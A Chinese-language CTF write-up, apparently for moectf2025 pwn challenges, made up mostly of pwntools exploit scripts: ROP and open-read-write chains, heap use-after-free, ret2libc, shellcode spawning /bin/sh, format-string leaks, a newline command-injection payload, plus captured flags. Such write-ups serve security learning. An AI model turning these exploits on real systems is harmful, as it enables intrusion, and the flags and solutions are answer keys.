 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148


import argparse
from operator import pos
import sys
from elftools.construct import lib
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = 'amd64'
remote_addr = "45.40.247.139"
remote_port = "23356"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *read
 c
 c
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def get_64():
 return u64(io.recv(0x6).ljust(0x8, b"\x00"))


# pause()
# ru(b"Good luck!\n")
sa(b"Good luck!\n", b'\x01'*0x108+p8(0x5f)) # magic


magic_line = ru(b":",)
magic_number = int(rl(keepends=False), 10)
log.info(VIO_TEXT(f"magic_number is {hex(magic_number)}"))

possible_main1 = magic_number // 3
possible_main2 = magic_number // 4

if possible_main1 < 0x600000000000 and possible_main1 > 0x500000000000:
 main = possible_main1
else:
 main = possible_main2

log.info(VIO_TEXT(f"possible main:{hex(possible_main1)}"))
log.info(VIO_TEXT(f"possible main:{hex(possible_main2)}"))

cover_main = main & 0xffff

elf_base = int(main)-0x16b0
log.info(VIO_TEXT(f"two bytes of main:{hex(cover_main)}"))

ret_stdout = elf_base+0x12c9
syscall = elf_base+0x134f
read_addr = elf_base+0x161f
rand_addr = elf_base+elf.sym['rand']
puts_addr = elf_base+elf.sym['puts']

log.info(VIO_TEXT(f"elf_base:{hex(elf_base)}"))
log.info(VIO_TEXT(f"syscall:{hex(syscall)}"))

sa(b"Good luck!\n", b'\x01'*0x108 + p64(rand_addr) + p64(puts_addr) + p64(read_addr))


libc_addr = (get_64()-0x21a200) & ~ 0xff
print(hex(libc_addr))

real_syscall = libc_addr+0x91316
rax = libc_addr+libc.search(asm("pop rax;ret")).__next__()
rdi = libc_addr+libc.search(asm("pop rdi;ret")).__next__()
rsi = libc_addr+libc.search(asm("pop rsi;ret")).__next__()
rcx = libc_addr+libc.search(asm("pop rcx;ret")).__next__()
rdx_rbx = libc_addr+0x904a9
readable_addr = elf_base+0x4800
log.info(VIO_TEXT(f"syscall:{hex(real_syscall)}"))
log.info(VIO_TEXT(f"readable_addr:{hex(readable_addr)}"))

payload = flat(
 b'a'*0x110,
 rax, 0, rdi, 0, rsi, readable_addr, rdx_rbx, 0x8, 0, syscall, 0, # read
 rax, 0x101, rdi, 0xffffff9c, rsi, readable_addr, rdx_rbx, 0, 0, rcx, 0, syscall, 0, # openat
 rax, 0x28, rdi, 1, rsi, 3, rdx_rbx, 0, 0, rcx, 0x100, libc_addr + # sendfile
 libc.sym['sendfile'],
)

# ogw 尝试读取目录
# payload = flat(
# b'a'*0x110,
# rax, 0, rdi, 0, rsi, readable_addr, rdx_rbx, 0x30, 0, syscall, 0,
# rax, 0x101, rdi, 0xffffff9c, rsi, readable_addr, rdx_rbx, 0, 0, rcx, 0, syscall, 0,
# rax, 217, rdi, 0x3, rsi, readable_addr, rdx_rbx, 0x100, 0, syscall, 0, # getdents64
# rax, 1, rdi, 1, rsi, readable_addr, rdx_rbx, 0x100, 0, syscall, 0
# )

sa(b"Good luck!\n", payload)


sleep(1)
se(b"/flag")

ia()

malloc

沙箱保护

沙箱禁的execve execveat

解题

增删改查,glibc2.35与上题环境一致

freelist的检查，会读取chunk size，更新freelist，并检测是否double free

但是只检查了前14个节点，可能可以对后面的double free?

有一个修改的malloc

会从Free list和top chunk分配，当然我们不想要用top chunk，所以看到free list的

1
2
3
4
5
6


if ( qword_4040[v2 / 16] ) { // 对应size的freelist不为空
 v5 = qword_4040[v4]; // 获取freelist第一个chunk
 qword_4040[v4] = *(_QWORD *)(v5 + 16); // 更新freelist
 *(_BYTE *)v5 = 1; // 标记chunk为已使用
 return v5 + 16; // 返回用户数据区地址
}

我们构造合适的chunk可以触发到uaf

uaf hook泄漏libc后打出environ来泄漏栈地址，在合适的地方写入flag后orw即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145


import argparse
from inspect import ClassFoundException
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = 'amd64'
remote_addr = "45.40.247.139"
remote_port = "27416"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def create(idx, size):
 sla(b"5:exit\n", b"1")
 sla(b"Index", str(idx).encode())
 sla(b"size", str(size).encode())


def free(idx):
 sla(b"5:exit\n", b"2")
 sla(b"Index", str(idx).encode())


def edit(idx, size, content):
 sla(b"5:exit\n", b"3")
 sla(b"Index", str(idx).encode())
 sla(b"size", str(size).encode())
 se(content)


def show(idx):
 sla(b"5:exit\n", b"4")
 sla(b"Index", str(idx).encode())


# 准备堆块UAF
create(0, 0x10)
create(1, 0x70)
create(2, 0x70)
create(0x10, 0x10) # 隔top chunk

# 双向链表UAF
free(2)
free(1)

# libc leak
show(1)
elf_leak = ru(b"\nSuccess\n", drop=True)[-6:].ljust(8, b'\x00')
elf.address = u64(elf_leak)-0x52a0
log.success(CLEAR_TEXT(f"elf_address:{hex(elf.address)}"))

payload = p64(0)*3+p64(0x80)+p64(elf.address+0x5200+0x1010)
edit(0, len(payload), payload)

# 重新分配
create(3, 0x70)
create(3, 0x70)

edit(3, 8, p64(elf.got["puts"]))
show(4)
libc_leak = ru(b"\nSuccess\n", drop=True)[-6:].ljust(8, b'\x00')
libc.address = u64(libc_leak) - libc.sym["puts"]

edit(3, 8, p64(libc.sym["environ"])) # environ leak stack
show(4)
stack_leak = ru(b"\x7f")[-6:].ljust(8, b"\x00")
edit_stack = u64(stack_leak) - 0x140
log.success(CLEAR_TEXT(f"libc base address: {hex(libc.address)}"))
log.success(CLEAR_TEXT(f"stack edit address: {hex(edit_stack)}"))

# 写入flag路径和ROP链
create(4, 0x70) # 4号堆块用于存储数据
# 修改目标区域存储flag
edit(3, 8, p64(elf.address + 0x62a0))
edit(4, 0x8, p64(0x100)) # 设置大小
edit(3, 0x10, p64(edit_stack) + b"/flag\x00\x00\x00")

pop_rdi = libc.address + 0x2a3e5
pop_rsi = libc.address + 0x2be51
pop_rdx_rbx = libc.address + 0x904a9
flag_addr = elf.address+0x6228
orw_payload = flat(
 pop_rdi, flag_addr, pop_rsi, 0, libc.sym['open'],
 pop_rdi, 3, pop_rsi, elf.address+0x40c0 +
 0x500, pop_rdx_rbx, 0x50, 0, libc.sym['read'],
 pop_rdi, 1, libc.sym['write']
)

edit(4, len(orw_payload), orw_payload)

ia()

‍

moectf2025-pwn_re

Fri, 10 Oct 2025 10:45:00 +0000

pwn

0

连接远程就行

1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


from pwn import * # 导入 pwntools。


context(
 arch="amd64",
 os="linux",
) # 一些基本的配置。


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


# 有时我们需要在本地调试运行程序，需要配置 context.terminal。详见入门指北。

# io = process("./pwn") # 在本地运行程序。
# gdb.attach(io) # 启动 GDB
io = remote("localhost", 38631) # 与在线环境交互。

io.recvuntil(b"hint.")
num = io.recv(8)
log.info(CLEAR_TEXT(f"num={num}")) # 接收提示信息。
num = u64(num.ljust(8, b"\x00")) # 将接收到的字符串转换为整数。

log.success(CLEAR_TEXT(f"num={num:#x}"))

io.sendline(str(num).encode()) # 发送整数。

io.interactive() # 手动接收 flag。

2 text

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


from pwn import * # 导入 pwntools。

context(arch="amd64", os="linux", log_level="debug") # 一些基本的配置。


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"

# 有时我们需要在本地调试运行程序，需要配置 context.terminal。详见入门指北。


io = process("./pwn") # 在本地运行程序。
gdb.attach(io) # 启动 GDB
# io = remote("localhost", 39857) # 与在线环境交互。

io.recvuntil(b"stack?\n")
io.sendline(b"24")
io.send(b"A" * 16 + p64(0x4011BB))

io.interactive() # 手动接收 flag。

2 shellcode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42


from pwn import *

filename = "./pwn"
# libc = "./libc.so.6"
arch = 'amd64'

context(log_level="debug", os="linux", arch=arch)
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


# io = process(filename)
# libc = ELF(libc)
elf = ELF(filename)
io = remote("localhost", 45523)
# gdb.attach(
# io,gdbscript='''
# ''')


def se(data):
 return io.send(data)

def sla(delim, data):
 return io.sendlineafter(delim, data)



sla('!', '4')
shellcode = asm(shellcraft.sh())
se(shellcode)

io.interactive()

# 这题就是很简单的可打shellcode,可以手动也可以直接用pwntools自带的

3 认识libc

不知道丢哪去了，反正ret2libc

boom-boom_revenge

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


```c
int __fastcall main(int argc, const char **argv, const char **envp)
{
 char s[124]; // [rsp+0h] [rbp-90h] BYREF
 int v5; // [rsp+7Ch] [rbp-14h]
 int v6; // [rsp+8Ch] [rbp-4h]

 init(argc, argv, envp);
 puts("Welcome to Secret Message Book!");
 puts("Do you want to brute-force this system? (y/n)");
 fgets(&brute_choice, 8, stdin);
 v6 = 0;
 if ( brute_choice == 'y' || brute_choice == 89 )
 {
 v6 = 1;
 canary = (int)random() % 114514;
 v5 = canary;
 puts("waiting...");
 sleep(1u);
 puts("boom!");
 puts("Brute-force mode enabled! Security on.");
 }
 else
 {
 puts("Normal mode. No overflow allowed.");
 }
 printf("Enter your message: ");
 if ( v6 )
 gets(s);
 else
 fgets(s, 128, stdin);
 if ( v6 && v5 != canary )
 {
 puts("Security check failed!");
 exit(1);
 }
 puts("Message received.");
 return 0;
}

伪随机种子生成canary,调用libc库生成种子爆破，估计revenge是因为原本的非预期

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66


from ctypes import CDLL, cdll
import time
from pwn import *

context(log_level="debug")
context.terminal = ["tmux", "splitw", "-h"]


libc = cdll.LoadLibrary('libc.so.6')


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


def WARN_TEXT(x, code=33):
 return f"\x1b[{code}m{x}\x1b[0m"


now = int(time.time())

canaries = []
for i in [now, now-1, now+1]:
 libc.srandom(i)
 val = libc.random() % 114514
 print(f"[+] seed = {i} -> canary= {val}")
 canaries.append(val)


io = remote("localhost", 43477)
# io = process("./pwn")
# gdb.attach(io, gdbscript='''
# b *0x40136c
# b *(main+287)
# ''')

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive

ru(b"Do you want to brute-force this system? (y/n)\n")
sl(b'y')

ru(b'Enter your message: ')

buf = b'b'*124

for canary in canaries:
 payload = buf
 payload = (payload+p32(canary)).ljust(0x90, b'\x00')+p64(0)
 payload += p64(0x40127b)

 sl(payload)
 try:
 ia()
 except:
 print(WARN_TEXT(f"[-] Canary {canary} failed,next one"))

fmt

没什么好说的，经典格式化字符串，读一写一

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89


from pwn import *
from struct import pack

filename = "./pwn"
libc = "./patch/libc.so.6"


context(log_level="debug", os="linux", arch="i386")
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x):
 return f"\x1b[95m{x}\x1b[0m"


# io = gdb.debug(
# "./pwn",gdbscript=""""
# """)
io = process(filename)
# gdb.attach(
# io,
# gdbscript='''b *puts'''
# )
libc = ELF(libc)
elf = ELF(filename)
# io = remote("localhost", 40167)


def se(data):
 return io.send(data)


def sa(delim, data):
 return io.sendafter(delim, data)


def sl(data):
 return io.sendline(data)


def sla(delim, data):
 return io.sendlineafter(delim, data)


def rc(num):
 return io.recv(num)


def rl():
 return io.recvline()


def ru(delims):
 return io.recvuntil(delims)


def ia():
 return io.interactive()


def fine():
 return io.interactive()


payload = b"%7$s%10$p"
# payload = b"%10$p"
sla(b"name?\n", payload)
# s2 = int(io.recvuntil(b"I buried", drop=True).split(b",")[-1], 16)
# log.success(VIO_TEXT(f"first number: {hex(s2)}"))
ru(b"you,")

s = io.recv()
s1 = s[:5].decode()
log.success(VIO_TEXT(f"first number: {s1}"))

s2 = s[s.find(b"0x"):].split()[0] # 切分

s2 = int(s2, 16)
s2 = pack("<Q", s2).rstrip(b"\x00").decode(errors="ignore") # 小端序解析
log.success(VIO_TEXT(f"second number: {s2}"))

sl(s2)
io.recv()

sl(s1)

fine()

# moectf{THe-b3G1nNlng_OF_f0rm@T5cc02f05c}

inject

伪造了一个服务器，可以用指令拼接绕过进行RCE，由于没有过滤\n所以先给一个地址x再给指令，使用\n拼接

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


from pwn import *

remote_addr = "localhost"
remote_port = "40757"

io = remote(remote_addr, remote_port)

sla = io.sendlineafter


def ping_host():
 sla(b"Your choice: ", "4")


ping_host()
payload = b"x\ncat flag\n"
sla(b"Enter host to ping: ", payload)

io.interactive()

randomlock

跟boom类似，爆破种子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87


from pwn import *
import ctypes

filename = "./pwn"
# libc = "./libc.so.6"
libc = ctypes.CDLL("libc.so.6")

context(log_level="debug", os="linux", arch="i386")
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


# io = gdb.debug(
# "./pwn",gdbscript='''
# ''')
io = process(filename)
# libc = ELF(libc)
elf = ELF(filename)
# io = remote("", )


def se(data):
 return io.send(data)


def sa(delim, data):
 return io.sendafter(delim, data)


def sl(data):
 return io.sendline(data)


def sla(delim, data):
 return io.sendlineafter(delim, data)


def rc(num):
 return io.recv(num)


def rl():
 return io.recvline()


def ru(delims):
 return io.recvuntil(delims)



possible_seeds = [s for s in range(1, 101, 2)]


def test_seed(seed):
 libc.srand(seed)
 return [libc.rand() % 10000 for _ in range(10)]


def try_once():
 for seed in possible_seeds:
 random_sequence = test_seed(seed)
 ru(b"me?\n")

 flag = True
 for num in random_sequence:
 sl(str(num).encode())
 reveal = ru(b">")
 if b"lose" in reveal.lower():
 flag = False
 break
 if flag:
 log.success(CLEAR_TEXT(f"Found seed: {
 seed},sequence:{random_sequence}"))
 io.interactive()
 else:
 io.clode()


try_once()
# moectf{SUch-a_FAKE_cHA0t1C-3vIIaa0ae332}

str_check

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


int __fastcall main(int argc, const char **argv, const char **envp)
{
 char dest[24]; // [rsp+0h] [rbp-20h] BYREF
 size_t n; // [rsp+18h] [rbp-8h] BYREF

 init(argc, argv, envp);
 puts("What can u say?");
 __isoc99_scanf("%255s", str);
 puts("So,what size is it?");
 __isoc99_scanf("%zu", &n);
 len = strlen(str);
 if ( (unsigned __int64)len > 0x18 )
 {
 puts("Oh,too much.");
 exit(1);
 }
 if ( !strncmp(str, "meow", 4uLL) )
 memcpy(dest, str, n);
 else
 strncpy(dest, str, n);
 puts("You're right.");
 return 0;
}

这里对len判断到\0结束计数，提前导入\0strlen就不会判断进去，而strncmp判断前四个字节为meow才会进行比较，使用memcpy拷贝（高版本早就不这么写了不过）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62


from pwn import *

filename = "./pwn"
# libc = "./libc.so.6"


context(log_level="debug", os="linux", arch="amd64")
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=31):
 return f"\x1b[{code}m{x}\x1b[0m"


io = process(filename)
# # libc = ELF(libc)
# gdb.attach(io, gdbscript='''
# b *0x4013A2
# ''')
elf = ELF(filename)
# io = remote("localhost", 46233)


def se(data):
 return io.send(data)


def sa(delim, data):
 return io.sendafter(delim, data)


def sl(data):
 return io.sendline(data)


def sla(delim, data):
 return io.sendlineafter(delim, data)


def ia():
 return io.interactive()


backdoor = 0x40123E

payload = b'meow\x00'
payload += b'a'*(24-len(payload))
payload += b'B'*8
payload += p64(0x40101a) # ret对齐栈
payload += p64(backdoor)

sla(b"u say?", payload)

sla(b"size is it?", b"48")

ia()

# moectf{maybe_THls_IS-c-5trlNG34c189c4}

syslock

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


int __fastcall main(int argc, const char **argv, const char **envp)
{
 init(argc, argv, envp);
 write(1, "My lock looks strange—can you help me?\n", 0x29uLL);
 write(1, "choose mode\n", 0xCuLL);
 i = input();
 if ( i > 4 )
 lose();
 write(1, "Input your password\n", 0x14uLL);
 read(0, (char *)&s + i, 0xCuLL);
 if ( i != 59 )
 lose();
 cheat();
 return 0;
}

cheat():

1
2
3
4
5
6
7


ssize_t cheat()
{
 _BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF

 write(1, "Developer Mode.\n", 0x10uLL);
 return read(0, buf, 0x100uLL);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


.text:000000000040123C ; void gadget()
.text:000000000040123C public gadget
.text:000000000040123C gadget proc near：
.text:000000000040123C ; __unwind {
.text:000000000040123C endbr64
.text:0000000000401240 pop rdi
.text:0000000000401241 pop rsi
.text:0000000000401242 pop rdx
.text:0000000000401243 retn
.text:0000000000401243 gadget endp ; sp-analysis failed

s和i都在bss段上，仅相差0x20个字节，一开始要让i小于0进行绕过lose分支，而下一次我们就要让i=59才能，因此在read中直接独到&i的位置，即s-32->i,然后写成59
cheat分支中我们可以绕过read()进行rop

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89


from pwn import *

filename = "./pwn"
libc = "./libc.so.6"
arch = 'amd64'

context(log_level="debug", os="linux", arch=arch)
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=31):
 return f"\x1b[{code}m{x}\x1b[0m"


io = process(filename)
# gdb.attach(io, gdbscript='''
# b *40127f
# ''')
# libc = ELF(libc)
elf = ELF(filename)
# io = remote("localhost", 39153)


def se(data):
 return io.send(data)


def sa(delim, data):
 return io.sendafter(delim, data)


def sl(data):
 return io.sendline(data)


def sla(delim, data):
 return io.sendlineafter(delim, data)


def rc(num):
 return io.recv(num)


def rl():
 return io.recvline()


def ru(delims):
 return io.recvuntil(delims)


def ia():
 return io.interactive()


sla(b"choose mode\n", b"-32")


addr_s = 0x4040A0
payload = p32(59)
io.recv()
se(payload.ljust(0xC, b"a"))

pop_rax_ret = 0x401244
syscall_addr = 0x401230
pop_rdi_rsi_rdx_ret = 0x401240
read_plt = elf.plt['read']

payload2 = flat(
 b'A' * (64+8),
 # 调用 read(0, addr_s, 8)来写入"/bin/sh\x00"
 pop_rdi_rsi_rdx_ret, 0, addr_s, 8,
 read_plt,

 pop_rdi_rsi_rdx_ret, addr_s, 0, 0,
 pop_rax_ret, 0x3b,
 syscall_addr
)
io.recv()
se(payload2)
se(b'/bin/sh\x00')

ia()

# moectf{DONT_3nc@PSUL@tE-mY_5Ysc@I132fcf89}

xdulaker

这题出题人一开始没给环境导致一堆人没patch直接远程打不通
首先要patchelf

1
2
3
4
5


gdb.attach(
 io, gdbscript='''
 b *laker
 b *photo
 ''')

如果没有patchelf,在高版本的解释器中会对残留数据进行截断，那么我们输入的xdulaker始终无法通过检测
然后通过opt的地址可以泄漏pie_base

因为栈在空间计算可以得到photo和laker的两个栈相差是可以5字节对齐的，所以我们直接尝试xdulaker*(x)就可以通过检测,最后跳过backdoor压栈(+1)然后ret2text即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96


from pwn import *

filename = "./pwn"
libc = "./libc.so.6"
arch = 'amd64'

context(log_level="debug", os="linux", arch=arch)
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = process(filename)
# libc = ELF(libc)
elf = ELF(filename)
# io = remote("localhost", 46203)
gdb.attach(
 io, gdbscript='''
 b *laker
 b *photo
 ''')


def se(data):
 return io.send(data)


def sa(delim, data):
 return io.sendafter(delim, data)


def sl(data):
 return io.sendline(data)


def sla(delim, data):
 return io.sendlineafter(delim, data)


def rc(num):
 return io.recv(num)


def rl():
 return io.recvline()


def ru(delims):
 return io.recvuntil(delims)

def ia():
 return io.interactive()



payload = b"xdulaker"*5

sl(b'1')
ru(b'gift:')

opt_addr = io.recvuntil(b'\n', drop=True).strip().decode()
opt_addr = int(opt_addr, 16)
log.info(VIO_TEXT(f"opt_addr: {hex(opt_addr)}"))

pie_base = opt_addr - 0x4010
backdoor_addr = pie_base + 0x124E

log.info(VIO_TEXT(f"pit_base: {hex(pie_base)}"))
log.info(VIO_TEXT(f"backdoor_addr: {hex(backdoor_addr)}"))


io.recv()
sl(b'2')

sa(b'name?!', payload)


io.recv()
sl(b'2')

sa(b'name?!', payload)

io.recv()
sl(b'3')

payload = cyclic(48+8)+p64(backdoor_addr+1)
sl(payload)
# sla(b'laker\n', payload)

ia()

easylibc

got延迟绑定，要使用libc函数后再次返回main使用才能获取真正libc地址，开了pie

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107


from pwn import *

filename = "./pwn"
libc = "./libc.so.6"
arch = 'amd64'

context(log_level="debug", os="linux", arch=arch)
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


# io = process(filename)
libc = ELF(libc)
elf = ELF(filename)
io = remote("localhost", 39367)

# gdb.attach(io, gdbscript='''
# b *puts
# ''')


def se(data):
 return io.send(data)


def sa(delim, data):
 return io.sendafter(delim, data)


def sl(data):
 return io.sendline(data)


def sla(delim, data):
 return io.sendlineafter(delim, data)


def rc(num):
 return io.recv(num)


def rl():
 return io.recvline()


def ru(delims):
 return io.recvuntil(delims)

def ia():
 return io.interactive()


ru(b"I use ")
leak = ru(' ').strip().decode()

log.success(VIO_TEXT(f"leak: {leak}"))

leak = int(leak, 16)
pie_delta = 0x1060
pie_base = leak - pie_delta

read = leak+0x50
read_plt = elf.plt['read']
elf_base = read-read_plt

log.success(VIO_TEXT(f"pie_base: {hex(pie_base)}"))
start = elf.symbols['_start']+elf_base+4
log.success(VIO_TEXT(f"start_addr: {hex(start)}"))

ret = elf_base+0x00101a+4
log.info(f"ret:{hex(ret)}")

payload = cyclic(32+8)+p64(start)
se(payload)

ru(b"I use ")
read_addr_true = int(ru(' ').strip().decode(), 16)
libc_base = read_addr_true-libc.symbols['read']
log.success(CLEAR_TEXT(f"libc_addr: {hex(libc_base)}"))
log.success(CLEAR_TEXT(f"read_addr_true: {hex(read_addr_true)}"))

rop = ROP(libc)
pop_rdi = libc_base + 0x2a3e5
binsh = libc_base + libc.search(b"/bin/sh\x00").__next__()
system = libc_base + libc.symbols['system']

offset = 40

payload = flat(
 b"A" * offset,
 ret,
 pop_rdi,
 binsh,
 system,
)

sl(payload)

io.interactive()
# moectf{How_cAn_You_g3t_This-L1BC-@DDR712d46}

ezpivot

栈迁移
我们的栈溢出需要溢出从 ret 开始 pop_rdi，&"/bin/sh"，ret，system_plt 四个地址，也就是需要 0x28 的长度，而本题的溢出长度不够，我们需要考虑栈迁移。
在第一个 read 前存在整数溢出，我们输入 -1 即可往 desc 内读入任意字节。

